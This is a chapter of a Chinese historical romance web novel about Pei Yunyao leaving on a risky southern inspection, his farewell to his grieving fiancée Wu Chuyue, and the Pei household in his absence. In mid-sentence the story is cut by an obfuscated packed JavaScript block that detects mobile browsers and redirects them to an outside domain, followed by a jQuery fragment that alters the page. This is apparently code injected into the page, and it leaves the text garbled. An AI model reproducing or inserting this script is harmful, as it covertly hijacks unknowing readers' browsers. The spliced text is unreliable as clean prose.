二人就这样并排跪在堂前,给吴二伯守灵。裴云晰自知自己不便多留,便去了林娘子房中看护。
林娘子醒来,听了女使边哭边说了方才院中事,竟一口气上不来,差点又昏过去。
裴云晰是真的害怕了,她紧张得给林娘子顺气:“伯母您可一定要挺住啊!初樾如今只剩下您了,您若再有个三长两短——那初樾怕是真的要活不下去了呀!”
她生怕让外头跪着的两个人听见,只能略微压低了声音哭喊。好在林娘子含了参片,终于是平稳了下来。
“好孩子,”林娘子靠在床上,虚弱地牵起裴云晰的手:“好孩子,辛苦你们了。”
裴云晰摇摇头,另一只手擦去了眼泪:“伯母,这都是我们该做的,您不必言谢。”
“若要怪,还不是就怪我那二哥哥优柔寡断……”裴云晰却又抱怨不出口,原本定在年底提亲,是想着等裴家主事的长兄长嫂回京,由他们二人登门,更显得裴家对初樾的尊重和礼遇,不想如今横生变故,叫人猝不及防。
林娘子叹息:“怎么可能怪他?曜儿是个最好的好孩子,若没有他,我和樾儿还不知要被我那黑心弟妹如何折磨呢……”
裴云晰苦涩地说:“只是如今二哥哥这般举措,恐怕免不了让初樾要遭些议论。”
林娘子却拍了拍她的手安慰:“嘴长在别人身上,我们如何管得了?我现下只要我的樾儿能平安,旁的任何事我都不想管。”
“如今樾儿她爹去了,”林娘子说到夫君离世,又忍不住哭泣起来:“我们母女在伯爵府里只怕度日更加艰难,樾儿要守三年热孝,你二哥哥、你二哥哥可愿意吗?”
裴云晰大惊:“伯母何出此言?我二哥哥自然是一千一百个愿意!初樾那么好的人,我二哥哥贴心珍爱都来不及呢!”
林娘子又哭又笑,紧紧握着裴云晰的手:“好孩子,你们都是好孩子……”
吴二伯的丧事,因着裴云曜的参与,办得还算体面。一时间京城也传遍了,裴家二郎是恪文伯爵府二房未进门的新婿。裴二郎不仅在官场上是个横冲直撞的愣头青,便是在家事上也是说一不二,尚未过门就插手伯爵府家事,把伯爵娘子生生气病了一场。
不出意外,裴云曜遭了御史台弹劾,好在工部尚书惜才,只训斥了几句。
“你这性子,若再不好好改改,以后便是我有想保你,怕是也有心无力。”工部尚书叹了口气,瞧着他身前恭敬立着的年轻人,颇有些恨铁不成钢:“那么点小事,值得你亲自去伯爵府闹一场?礼部和御史台参你的本子都摞起来了,好在陛下近日在关注西北蛮荒战事,未曾注目。”
裴云曜面对着有知遇之恩的工部尚书,虽有惭愧,但依旧不肯低头:“仲英鲁莽,但内子——但未婚妻亦为宫中女官,仲英维护心切,也算是想替陛下和皇后娘娘爱护臣下。”
“那吴大人背后是皇后娘娘,轮得到你来爱护?”工部尚书被气了一道,有些不耐烦:“罢了,未免你再被言官参奏,近日南边治水的工程正在验收,你便去跑一趟吧。”
裴云曜有些吃惊:“治水?”
“不错,”工部尚书意味深长地看着他:“仲英,你本有光明前程,我十分中意你,你也莫让小家小爱耽误了天资。”
这差事风险极大,办好了是政绩卓著、造福桑梓,若办不好,只怕是要被人拿捏、替人顶灾。
似是看出了裴云曜的顾虑,工部尚书呵呵一笑:“你不必怕,本分做事便是,若有异样,随时来信报我。”
“……是,谢尚书大人提携之恩,仲英——没齿难忘。”
吴二伯七七刚过,裴云曜便领命南下验收。临行前夜,他再三思量,还是没有忍住,黑衣夜行,头一次做了摸黑翻墙的勾当。裴云曜心中深感羞愧,但揣着心中沉甸甸的苦涩,念起对吴初樾的忧心,还是咬牙轻叩吴初樾的房门。
吴初樾屋里灯还亮着,她披散着头发坐在床边,捧着一本《地藏经》念念有词。芙月听见叩门声,正好奇是谁夜里来访,打开门一看,一身黑衣的裴云曜面色古怪站在廊上,把她吓了一跳:“裴、裴二郎!”
吴初樾闻言惊诧地抬头,裴云曜对着有些惊慌的女使,面上挂不住,略显尴尬:“我有话同你家姑娘说,她睡下了吗?”
“没有。”吴初樾披上孝衣匆匆下床,她行至门前,正要往裴云曜跟前走,却被裴云曜制止:“你尚在孝期,不要与我靠得太近。”
吴初樾被这句话说得莫名其妙:“你大半夜穿得像个贼人一般出现在我院里,还要同我论这些?”
芙月没忍住差点噗嗤笑了,又自觉现下实在不适合笑场,便匆匆退下,留二人在廊前说话。
裴云曜深深叹息,最终还是和吴初樾隔着几步远的距离。
“我明日便要南下巡查,这一去约莫要大半年,”裴云曜低声说:“岳父七七已过,你我之事如今沸沸扬扬,想必你三叔母也不敢再为难你。”
吴初樾的眼泪又顺着消瘦的脸颊滚落,她急着去擦,却越擦越多。裴云曜心揪得直疼,他想到明日启程,这一去尚不知归途何在,她母亲如今卧病在床,留初樾一个人在京中,叫他如何放心的下?
有一瞬间,他想着不如不告诉吴初樾他的事情,也顾不上礼节,直接让她和林伯母住到裴家去罢了。虽然名声上难听了些,但到底有祖母和裴家护着她们母女,不必留在这伯爵府遭人冷眼。
但仅仅是一瞬。
他看着心尖上的姑娘,短短月余便从曾经阳光俏皮的模样,消瘦憔悴了太多。他又怎能厚颜到,因为一己之私将她困在自家院里。
若是他此番有去无回,那不是白白害了她……
于是裴云曜定了定神,心下动容,他上前几步,第一次郑重的牵住了她的手。
吴初樾怔愣地抬头看他,青年满面愁容,却硬挤出了一丝温和笑意。
裴云曜坦言:“我此次南下,是担了风险在肩上。”
饶是裴云曜这样一个从小就冷静守礼、一板一眼的“木头”,在生离死别前,也变成了凡夫俗子。他出格地伸手,轻轻拂去吴初樾眼角泪珠:“若事成,自然是能明哲保身;若不成,成了一枚弃子……”
裴云曜苦笑,轻声说:“待你出了孝期,便寻个好人家吧——不必因我伤怀。”
吴初樾瞪大了眼睛,泪水夺眶而出:“这、这怎么可能……”
她顾不得一切,扑进裴云曜怀里紧紧抱着他。男人身上依旧是那股淡淡的桂香,现在却叫她痛得肝肠寸断:“都怪我、都怪我误了你啊,仲英,都怪我……”
裴云曜
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15857085|171899||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
没有推开她,强撑着最后的意志没有回抱,只是轻轻拍了拍少女的肩膀:“这都是我自己做的选择,初樾。”
“即便是再来一遭,我也定要护你周全。”
裴云曜出城时,裴云暄去送他,而裴云晰没有去。
她谨记着二哥哥的叮嘱,套了车前往伯爵府。进到吴初樾院里时,女使芙月红着眼眶行礼:“裴三娘来了,快去劝劝我家姑娘吧,再哭下去,要坏眼睛了。”
裴云晰快步跑进里屋,只见吴初樾正抱着一串物件垂泪。
她走近一看,金璎珞胸佩的丝线都被泪水打湿,水珠落在那温润玉石上,泛着盈盈光泽。
裴云晰像是被一只无形的手扼住咽喉,痛彻心扉。
她说不出安慰的话语,只想着若是带着裴云暄一道来就好了,她恨自己为什么嘴这样笨,一句安慰的话都说不出口。
“好初樾,不要哭了,”裴云晰坐在床边抱着她,眼眶也红了:“我二哥哥是何等聪明的人物,你放心,他一定会平安回京。到时候加官进爵,风风光光地进门来护着你,定要叫你那三叔母好看。”
裴云曜一走,家里最大的便是裴云晰。祖母听了吴家的事难免悲痛,又病了一场。裴云暄虽然早慧,但到底还是个小姑娘,裴云晰只能强迫自己打起精神,管着家中大小事宜。
宋怀弋得了消息,也曾想着修书一封请他父亲或姑母前来给吴初樾撑腰,却被裴云晰赶紧回绝了。
“吴家目前尚且平息,切莫惊扰大内,恐再生事端。”
宋怀弋盯着信中寥寥数语,心中憋闷,一连着好几支箭都射偏了。陈副将发现他的异常,关心道:“世子可是有什么心事?”
“……无妨,”宋怀弋沉吟片刻,扯出抹笑意:“方才走神罢了。”
他心中牵挂着裴云晰,月末休假回京,他刚回府中半日便急着想出门,却被肃国公拦下:“我知道你想去哪,你再着急,也得先去宫里见了你姑母再去。”
宋怀弋无法,只得换上进宫的衣服,匆匆入宫。
皇后见了宋怀弋,看着侄子将心情都写在脸上,一边无奈摇头一边道:“弋儿,你如今也该像个大人了,怎么还这样沉不住气。”
没等宋怀弋开口,皇后便温柔地说:“你且放心,裴二郎已将吴家那事处理好。如今那个吴家姑娘已经回宫当班,你若不放心,待会儿拿了本宫的令牌,去画房见见她。”
宋怀弋本想拒绝,转念一想,还是谢恩道:“多谢姑母。”
他拿着令牌进了画房,吴初樾正在修补画像,听见众人拜见行礼之声,一抬眼和宋怀弋撞了个正着,她正要行礼,却被宋怀弋打断:“免礼了。”
宋怀弋站在仗余处打量着吴初樾,这吴家姑娘单薄了不少,好在尚有一些精气神。
他也不避讳旁人,直接问她:“你家中事宜处理好了?”
“回世子,”吴初樾恭敬道:“先父已入土为安,多谢世子挂念。”
宋怀弋摆摆手:“无事就好,你若还有什么要帮着打点的,只管修书去肃国公府。”
他犹豫再三,还是没忍住说:“裴二郎离京多日,裴家全靠季蘅一人支撑,我在西郊大营抽不开身——你若闲暇得空,记得去帮帮她。”
吴初樾心下了然:“我知道了。”